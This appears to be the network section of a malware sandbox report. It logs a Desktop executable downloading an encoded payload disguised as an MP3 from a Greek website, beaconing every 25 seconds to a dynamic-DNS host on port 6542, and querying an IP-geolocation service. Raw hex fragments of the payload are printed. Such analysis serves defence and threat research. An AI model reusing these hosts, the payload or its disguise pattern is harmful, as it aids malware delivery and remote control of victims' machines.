                                                                          Nov 18, 2024 19:24:20.383080006 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.383229017 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.383276939 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.383480072 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.383548975 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.387814999 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.387892962 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.388117075 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.388181925 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.388762951 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.388818026 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.388940096 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.388994932 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.389168024 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.389214039 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.389409065 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.389462948 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.390300989 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.390353918 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.390420914 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.390482903 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.392288923 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.392364979 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.392502069 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.392555952 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.392637968 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.392689943 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.395864964 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.395939112 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.396192074 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.396248102 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.396414995 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.396466970 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.396610975 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.396667004 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.396807909 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.396861076 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.396960020 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.397010088 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.397161007 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.397206068 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.397552013 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.397603989 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.397990942 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.398087025 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.398695946 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.398753881 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.399004936 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.399061918 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.399348021 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.399416924 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.399724007 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.399790049 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.399884939 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.399940014 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.400976896 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.401040077 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.401135921 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.401191950 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.402535915 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.402590036 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.402858973 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.402913094 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.403165102 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.403213978 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.403595924 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.403646946 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.403836966 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.403883934 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.404056072 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.404103994 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.404319048 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.404371977 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.404592991 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.404647112 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.404681921 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.404736042 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.404850960 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.404908895 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.407407999 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.407478094 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.407509089 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.407562971 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.407751083 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.407808065 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.407816887 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.407864094 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.408108950 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.408159971 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.408288956 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.408354998 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.408370018 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.408418894 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.408442974 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.408493042 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.408886909 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.408945084 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.409115076 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.409167051 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.409259081 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.409316063 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.409353971 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.409413099 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.409919977 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.409977913 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.409996986 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.410048962 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.410058022 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.410077095 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.410110950 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.410123110 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.410319090 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.410372019 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.410397053 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.410453081 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.410764933 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.410823107 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.410875082 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.410929918 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.410954952 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.411010981 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.412132978 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.412187099 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.412223101 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.412280083 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.412321091 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.412379026 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.412398100 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.412451982 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.412481070 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.412537098 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.413862944 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.419270039 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.424649000 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.424740076 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.508619070 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.508688927 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.508714914 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.508771896 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.509057045 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.509151936 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.509185076 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.509242058 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.509315014 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.509371042 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.509423971 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.509437084 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.509521008 CET44349734185.78.221.73192.168.2.4
                                                                          Nov 18, 2024 19:24:20.510426044 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:20.512984991 CET49734443192.168.2.4185.78.221.73
                                                                          Nov 18, 2024 19:24:35.251100063 CET497316542192.168.2.469.174.98.113
                                                                          Nov 18, 2024 19:24:35.256290913 CET65424973169.174.98.113192.168.2.4
                                                                          Nov 18, 2024 19:25:00.266623020 CET497316542192.168.2.469.174.98.113
                                                                          Nov 18, 2024 19:25:00.273219109 CET65424973169.174.98.113192.168.2.4
                                                                          Nov 18, 2024 19:25:25.282387018 CET497316542192.168.2.469.174.98.113
                                                                          Nov 18, 2024 19:25:25.287678957 CET65424973169.174.98.113192.168.2.4
                                                                          Nov 18, 2024 19:25:50.298070908 CET497316542192.168.2.469.174.98.113
                                                                          Nov 18, 2024 19:25:50.303035975 CET65424973169.174.98.113192.168.2.4

                                                                          UDP Packets

                                                                          TimestampSource PortDest PortSource IPDest IP
                                                                          Nov 18, 2024 19:23:59.505326986 CET5054353192.168.2.41.1.1.1
                                                                          Nov 18, 2024 19:23:59.759125948 CET53505431.1.1.1192.168.2.4
                                                                          Nov 18, 2024 19:24:05.384489059 CET6126753192.168.2.41.1.1.1
                                                                          Nov 18, 2024 19:24:05.399960995 CET53612671.1.1.1192.168.2.4
                                                                          Nov 18, 2024 19:24:08.160583019 CET5405053192.168.2.41.1.1.1
                                                                          Nov 18, 2024 19:24:08.169646978 CET53540501.1.1.1192.168.2.4

                                                                          DNS Queries

                                                                          TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                          Nov 18, 2024 19:23:59.505326986 CET192.168.2.41.1.1.10xd2e4Standard query (0)www.oleonidas.grA (IP address)IN (0x0001)false
                                                                          Nov 18, 2024 19:24:05.384489059 CET192.168.2.41.1.1.10xe9b0Standard query (0)aboushagor.ydns.euA (IP address)IN (0x0001)false
                                                                          Nov 18, 2024 19:24:08.160583019 CET192.168.2.41.1.1.10x8b95Standard query (0)ipwho.isA (IP address)IN (0x0001)false

                                                                          DNS Answers

                                                                          TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                          Nov 18, 2024 19:23:59.759125948 CET1.1.1.1192.168.2.40xd2e4No error (0)www.oleonidas.groleonidas.grCNAME (Canonical name)IN (0x0001)false
                                                                          Nov 18, 2024 19:23:59.759125948 CET1.1.1.1192.168.2.40xd2e4No error (0)oleonidas.gr185.78.221.73A (IP address)IN (0x0001)false
                                                                          Nov 18, 2024 19:24:05.399960995 CET1.1.1.1192.168.2.40xe9b0No error (0)aboushagor.ydns.eu69.174.98.113A (IP address)IN (0x0001)false
                                                                          Nov 18, 2024 19:24:06.936918974 CET1.1.1.1192.168.2.40xd8a8No error (0)bg.microsoft.map.fastly.net199.232.214.172A (IP address)IN (0x0001)false
                                                                          Nov 18, 2024 19:24:06.936918974 CET1.1.1.1192.168.2.40xd8a8No error (0)bg.microsoft.map.fastly.net199.232.210.172A (IP address)IN (0x0001)false
                                                                          Nov 18, 2024 19:24:08.169646978 CET1.1.1.1192.168.2.40x8b95No error (0)ipwho.is195.201.57.90A (IP address)IN (0x0001)false

                                                                          HTTP Request Dependency Graph

                                                                          • www.oleonidas.gr
                                                                          • ipwho.is

                                                                          HTTPS Proxied Packets

                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                          0192.168.2.449730185.78.221.734436912C:\Users\user\Desktop\________.exe
                                                                          TimestampBytes transferredDirectionData
                                                                          2024-11-18 18:24:00 UTC82OUTGET /mansa/Dhmwdw.mp3 HTTP/1.1
                                                                          Host: www.oleonidas.gr
                                                                          Connection: Keep-Alive
                                                                          2024-11-18 18:24:01 UTC300INHTTP/1.1 200 OK
                                                                          Date: Mon, 18 Nov 2024 18:24:00 GMT
                                                                          Server: Apache
                                                                          Last-Modified: Mon, 18 Nov 2024 15:55:37 GMT
                                                                          Accept-Ranges: bytes
                                                                          Content-Length: 2121728
                                                                          Cache-Control: max-age=1209600
                                                                          Expires: Mon, 02 Dec 2024 18:24:00 GMT
                                                                          Vary: User-Agent
                                                                          Connection: close
                                                                          Content-Type: audio/mpeg
                                                                          2024-11-18 18:24:01 UTC7892INData Raw: 7c 6b a6 31 32 36 31 31 32 31 31 36 ce ce 36 31 89 36 31 31 36 31 31 36 71 31 36 31 31 36 31 31 36 31 31 36 31 31 36 31 31 36 31 31 36 31 31 36 31 31 36 31 31 36 31 31 36 31 31 36 b1 31 36 31 3f 29 8b 3f 36 85 38 fb 10 89 37 7d fc 17 65 59 5f 42 11 46 43 5e 51 43 50 5b 11 52 57 5f 5f 59 45 11 54 54 11 44 44 5f 16 58 5f 16 75 7e 65 11 5c 59 55 54 18 3c 3c 3c 15 31 36 31 31 36 31 31 66 74 31 36 7d 30 35 31 27 25 7e a8 36 31 31 36 31 31 36 31 d1 36 3f 10 3d 30 01 36 31 69 16 31 31 30 31 31 36 31 31 36 5f 47 16 31 31 16 31 31 36 b1 11 36 31 31 76 31 31 16 31 31 36 33 31 36 35 31 36 31 31 36 31 31 32 31 31 36 31 31 36 31 31 f6 11 31 36 33 31 36 31 31 36 31 32 36 71 b4 36 31 21 36 31 21 36 31 31 36 21 31 36 21 31 36 31 31 36 31 3e 36 31 31 36 31 31 36 31 31 36
                                                                          Data Ascii: |k126112116616116116q16116116116116116116116116116116116161?)?687}eY_BFC^QCP[RW__YETTDD_X_u~e\YUT<<<1611611ft16}051'%~611611616?=061i110116116_G11116611v111163165161161121161161116316116126q61!61!6116!16!161161>6116116116
                                                                          2024-11-18 18:24:01 UTC8000INData Raw: 35 31 31 36 1e 31 36 31 34 36 31 31 18 31 31 36 09 1b 36 31 31 48 aa 33 36 35 19 55 36 31 30 11 31 36 31 31 48 73 33 36 35 4a b0 33 31 32 0b fd c9 ce ce 10 11 31 36 31 31 0e f0 ce c9 ce 1b 48 ad 33 36 35 19 51 36 31 30 11 33 36 31 31 48 73 33 36 35 4a b5 33 31 32 0b 93 c9 ce ce 10 11 31 36 31 31 0e a6 ce c9 ce 23 36 31 26 1c 31 31 36 23 31 36 25 1b 36 31 31 24 31 31 21 1b 31 36 31 22 06 32 31 32 31 31 36 31 31 36 31 31 36 31 1b 24 31 31 22 1b 31 36 31 22 06 32 31 32 31 31 36 31 31 36 31 31 36 31 1b 24 31 31 21 1b 31 36 31 22 06 32 31 32 31 31 36 31 31 36 31 31 36 31 1b 14 31 25 93 76 31 36 33 1b 36 31 31 25 01 32 36 35 31 36 31 31 36 31 31 36 31 31 1c 23 31 36 25 1b 36 31 31 25 01 32 36 35 31 36 31 31 36 31 31 36 31 31 1c 23 31 36 25 1b 36 31 31 25 01 32
                                                                          Data Ascii: 51161614611116611H365U6101611Hs365J3121611H365Q6103611Hs365J3121611#61&116#16%611$11!161"2121161161161$11"161"2121161161161$11!161"21211611611611%v163611%2651611611611#16%611%2651611611611#16%611%2
                                                                          2024-11-18 18:24:01 UTC8000INData Raw: fb 37 31 31 0f 31 31 36 26 31 36 30 22 06 32 31 32 31 31 36 31 31 36 31 31 36 31 1b 25 01 32 36 b1 31 36 31 30 36 31 20 1e 98 33 36 37 11 34 31 31 36 cf 3f 36 31 09 36 31 31 36 cf 3d 36 31 74 35 31 31 36 66 31 36 31 1f 36 31 31 33 31 31 36 09 63 36 31 31 48 aa 33 36 35 19 55 36 31 30 11 30 36 31 31 48 73 33 36 35 4a 56 33 31 32 08 fd c9 ce ce 10 11 31 36 31 31 0e f0 ce c9 ce 4f aa 33 31 32 19 56 31 31 37 16 31 31 36 31 4f 74 33 31 32 4a 04 34 31 35 0c 92 ce c9 ce 17 16 31 31 36 31 09 ae ce ce c9 1b 13 36 25 94 12 31 31 37 1b 31 36 31 23 36 31 26 1c 31 31 36 23 31 36 25 1b 36 31 31 35 01 39 36 35 31 36 31 31 36 31 31 36 31 31 1c 70 2d 36 31 31 36 31 31 6f 30 31 36 55 30 36 31 8c 34 31 31 0e 31 31 36 26 31 36 30 22 06 32 31 b6 31 31 36 30 31 36 20 19 9f 33
                                                                          Data Ascii: 711116&160"2121161161161%26161061 3674116?616116=61t5116f1616113116c611H365U6100611Hs365JV3121611O312V1171161Ot312J41511616%117161#61&116#16%61159651611611611p-611611o016U061411116&160"21116016 3
                                                                          2024-11-18 18:24:01 UTC8000INData Raw: 31 31 c9 6e 2e 2e 55 e3 aa 20 39 21 69 22 3e 20 39 31 0e fe ca ce ce 3e b1 6f 37 31 35 1c 31 31 2d 01 32 36 5b 31 36 31 78 36 31 20 22 3b 19 a0 33 31 30 08 3a 36 31 31 45 58 31 36 3b 3b 0e 60 31 36 31 31 45 5b 31 36 3b 3b eb 74 31 36 31 17 44 0a 31 36 41 43 ec 31 31 46 19 5a 36 31 3b 59 5d 31 36 3b 45 46 31 31 37 3b ec 16 31 31 36 17 43 70 30 31 46 43 eb 36 31 41 1e 5a 31 36 3b 5e 5a 31 31 3c 45 41 36 31 30 3c ec 31 36 31 31 eb 31 31 36 31 37 1c 31 31 37 2d 31 36 31 31 12 31 2e 75 31 11 21 31 31 37 31 31 2e 31 3a 15 31 74 21 31 31 37 2a 01 34 31 1f 36 31 31 36 31 31 36 42 0a 36 31 3b 10 ec 3d 36 31 31 10 26 b1 4e 30 31 32 ec 27 36 31 31 36 19 5c 36 31 3b b6 49 30 36 35 ec 30 31 31 36 17 ec 36 31 31 36 1b 31 36 30 2d 36 31 31 36 31 31 3d 3a 31 3a 26 31 36
                                                                          Data Ascii: 11n..U 9!i"> 91>o71511-26[161x61 ";310:611EX16;;`1611E[16;;t161D16AC11FZ61;Y]16;EF117;116Cp01FC61AZ16;^Z11<EA610<161111617117-16111.u1!11711.1:1t!117*416116116B61;=611&N012'6116\61;I06501166116160-611611=:1:&16
                                                                          2024-11-18 18:24:01 UTC8000INData Raw: 36 31 69 aa 11 a5 36 31 31 16 00 31 36 31 68 c8 3f 2d 36 cf 3d 11 31 11 3c 31 31 36 cf 3d 2a 31 ad c8 3d 16 36 11 3b 36 31 31 16 7b 31 36 31 11 2b 31 31 36 69 ad c8 3d 16 36 11 3b 36 31 31 16 5d 31 36 31 11 62 31 31 36 68 ad 16 52 31 36 31 11 10 31 31 36 69 cf 38 22 31 c8 3d 16 36 11 3a 36 31 31 c8 3d 22 36 ad cf 3a 16 31 16 3a 31 36 31 11 0e 31 31 36 11 5f 36 31 31 6e ad 11 04 31 31 36 11 3d 36 31 31 6e cf 3f 2a 31 cf 3a 16 31 16 3a 31 36 31 cf 3a 2d 31 aa 11 a5 36 31 31 16 2c 31 36 31 68 c8 3f 22 36 cf 3d 11 31 11 3d 31 31 36 cf 3d 25 31 ad c8 3d 16 36 11 3d 36 31 31 16 8e 31 36 31 11 09 31 31 36 68 ad 16 cd 31 36 31 11 62 31 31 36 68 cf 38 22 31 c8 3d 16 36 11 3d 36 31 31 c8 3d 22 36 ad 11 10 31 31 36 11 1a 36 31 31 6e cf 3f 2a 31 cf 3a 16 31 16 3d 31
                                                                          Data Ascii: 61i611161h?-6=1<116=*1=6;611{161+116i=6;611]161b116hR161116i8"1=6:611="6:1:161116_611n116=611n?*1:1:161:-1611,161h?"6=1=116=%1=6=611161116h161b116h8"1=6=611="6116611n?*1:1=1
                                                                          2024-11-18 18:24:01 UTC8000INData Raw: 63 c7 ce ce c8 3d 03 36 11 30 36 31 31 16 04 31 36 31 11 55 31 31 36 69 ad 16 01 31 36 31 19 6b 32 31 30 0b 1f c7 ce ce 10 11 0c 36 31 31 0e 12 c0 c9 ce 11 fd 31 31 36 11 72 36 31 31 6f cf 3f 3d 31 11 28 30 31 36 19 6c 35 31 37 0c 34 c0 c9 ce 17 16 71 33 36 31 09 cc c1 ce c9 20 3b 20 0f df c8 ce ce 16 89 31 36 31 19 6b 32 31 30 0b d2 c6 ce ce 10 11 25 34 31 31 0e e9 c1 c9 ce cf 3a 68 31 16 3f 31 36 31 cf 3a 34 31 aa 11 a5 36 31 31 0e f1 c1 c9 ce cf 3a 03 31 16 3e 31 36 31 11 75 31 31 36 11 50 36 31 31 6e ad 11 ea 30 31 36 09 90 c6 ce ce 16 67 31 36 31 11 03 31 31 36 69 cf 38 6d 31 16 35 31 36 31 09 be c1 ce c9 cf 3d 04 31 11 30 31 31 36 11 a9 36 31 31 16 68 31 36 31 69 aa 11 15 36 31 31 1e 6c 32 36 37 0b 52 c1 ce c9 17 11 86 31 31 36 09 68 c6 ce ce 16 7b
                                                                          Data Ascii: c=60611161U116i161k210611116r611o?=1(016l5174q361 ; 161k210%411:h1?161:41611:1>161u116P611n016g161116i8m15161=10116611h161i611l267R116h{
                                                                          2024-11-18 18:24:01 UTC8000INData Raw: 31 19 6b 32 31 30 0b 3a e4 ce ce 10 11 24 37 31 31 0e 31 e3 c9 ce 19 24 32 31 30 2b 0a 30 d8 ce c9 11 41 34 31 31 c8 3f 59 36 09 d2 e7 ce ce 16 67 31 36 31 11 2d 31 31 36 69 cf 38 6d 31 16 3e 30 36 31 09 f8 e0 ce c9 20 62 20 20 62 b8 58 19 1a 32 31 30 11 36 34 31 31 1e 6c 32 36 37 08 85 e0 ce c9 17 11 49 30 31 36 09 99 e7 ce ce c8 3d 68 36 11 3a 36 31 31 16 a3 31 36 31 11 06 31 31 36 68 ad 16 50 33 36 31 09 bf e0 ce c9 cf 3d 04 31 11 34 31 31 36 cf 3d 6a 31 ad 16 ad 30 36 31 19 6a 32 31 30 0b 5d e7 ce ce 10 11 75 37 31 31 0e 50 e0 c9 ce 11 62 31 31 36 11 42 36 31 31 6e cf 3f 18 31 11 c1 31 31 36 19 6d 35 31 37 0c 72 e0 c9 ce 17 16 29 31 36 31 09 0e e0 ce c9 cf 3d 6f 31 11 3e 31 31 36 11 f2 36 31 31 16 70 31 36 31 68 aa 11 91 37 31 31 0e 28 e0 c9 ce 11 ef
                                                                          Data Ascii: 1k210:$7111$210+0A411?Y6g161-116i8m1>061 b bX2106411l267I016=h6:611161116hP361=14116=j1061j210]u711Pb116B611n?1116m517r)161=o1>116611p161h711(
                                                                          2024-11-18 18:24:01 UTC8000INData Raw: e1 31 31 36 11 76 36 31 31 6f cf 3f 33 31 11 15 31 31 36 09 8f 84 ce ce c8 3d 03 36 11 23 36 31 31 c8 3d 3a 36 ad 11 3c 30 31 36 09 97 84 ce ce c8 3d 68 36 11 31 36 31 31 c8 3d 1f 36 ad 11 2c 31 31 36 19 6c 35 31 37 0c b8 83 c9 ce 17 16 1d 31 36 31 09 48 83 ce c9 cf 3d 04 31 11 30 31 31 36 cf 3d 6a 31 ad 16 fc 30 36 31 09 50 83 ce c9 20 1e 20 19 32 35 31 37 10 11 22 37 31 31 0e 62 83 c9 ce cf 3a 68 31 16 31 31 36 31 cf 3a 1f 31 aa 11 62 36 31 31 0e 0a 83 c9 ce cf 3a 03 31 16 21 31 36 31 11 2c 31 31 36 11 40 36 31 31 6e ad 11 ce 30 31 36 19 6c 35 31 37 0f 26 83 c9 ce 17 16 0a 31 36 31 09 3a 83 ce c9 11 5f 36 31 31 16 23 31 36 31 69 c8 3f 3a 36 11 b4 34 31 31 c8 3f 59 36 09 da 87 ce ce 16 e3 31 36 31 11 70 31 31 36 68 cf 38 6d 31 16 a8 30 36 31 cf 38 59 31
                                                                          Data Ascii: 116v611o?31116=6#611=:6<016=h61611=6,116l517161H=10116=j1061P 2517"711b:h11161:1b611:1!161,116@611n016l517&161:_611#161i?:6411?Y6161p116h8m10618Y1
